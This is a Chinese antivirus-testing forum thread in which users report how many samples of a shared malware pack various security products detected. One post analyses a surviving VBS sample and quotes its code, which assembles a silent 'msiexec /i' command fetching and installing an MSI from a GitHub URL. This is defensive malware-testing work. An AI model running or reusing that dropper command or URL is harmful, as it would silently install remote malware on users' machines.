【开放测试】卡饭病毒样本包 20241130 第200期

显示全部楼层 · 发表于 2024-11-30 19:08:06

本帖最后由 jijianan2007 于 2024-11-30 19:12 编辑

FSP 30X

显示全部楼层 · 发表于 2024-11-30 19:16:45

本帖最后由 ninjagaocc 于 2024-11-30 19:31 编辑

瑞星V17

删除29x

显示全部楼层 · 发表于 2024-11-30 19:37:20

本帖最后由 jijianan2007 于 2024-11-30 19:38 编辑

Cylance 32X

显示全部楼层 · 发表于 2024-11-30 20:28:00

本帖最后由 Luna_ovo 于 2024-11-30 20:47 编辑

avast

kill all
（测试的有点晚了，起码说明小a入库挺快

）

（备用机，bitlocker够了，不用劝我换VC）

显示全部楼层 · 发表于 2024-11-30 21:15:08

本帖最后由 wuming_bpnes 于 2024-11-30 21:33 编辑

SEP 清空

显示全部楼层 · 发表于 2024-11-30 21:20:17

本帖最后由 1094947421 于 2024-11-30 21:22 编辑

天融信8x

显示全部楼层 · 发表于 2024-11-30 21:28:38

腾讯电脑管家 31X

显示全部楼层 · 发表于 2024-11-30 21:48:35

superLYT 发表于 2024-11-30 17:14
BD被触发稀有剧本，成功运行了一个之后就无法再扫描了，然后ATD主防疯狂报毒

剩下87天

显示全部楼层 · 发表于 2024-11-30 21:56:41

本帖最后由夜莺算法于 2024-11-30 22:13 编辑

WS静态，剩余一个

动态剩余的双击，23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0.VBS
双击自退(没有看到进程)似乎是在试图下载一个msi，来自GitHub https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi /qn(不知道对不对，但是vbs里是这么写的part1 = "msiexec.exe /i "
part2_1 = "https://"
part2_2 = "github.com/Kroby5444/"
part2_3 = "Jim/raw/refs/heads/"
part2_4 = "main/"
part3 = "Slf.msi "
part4 = "/qn"

' Combine the parts to form the complete install command
installCommand = part1 & part2_1 & part2_2 & part2_3 & part2_4 & part3 & part4)

显示全部楼层 · 发表于 2024-12-1 00:21:26

夜莺算法发表于 2024-11-30 21:56
WS静态，剩余一个

动态剩余的双击，23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0 ...

msi的vt https://www.virustotal.com/gui/f ... 50108d321/detection

[病毒样本] 【开放测试】卡饭病毒样本包 20241130 第200期

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源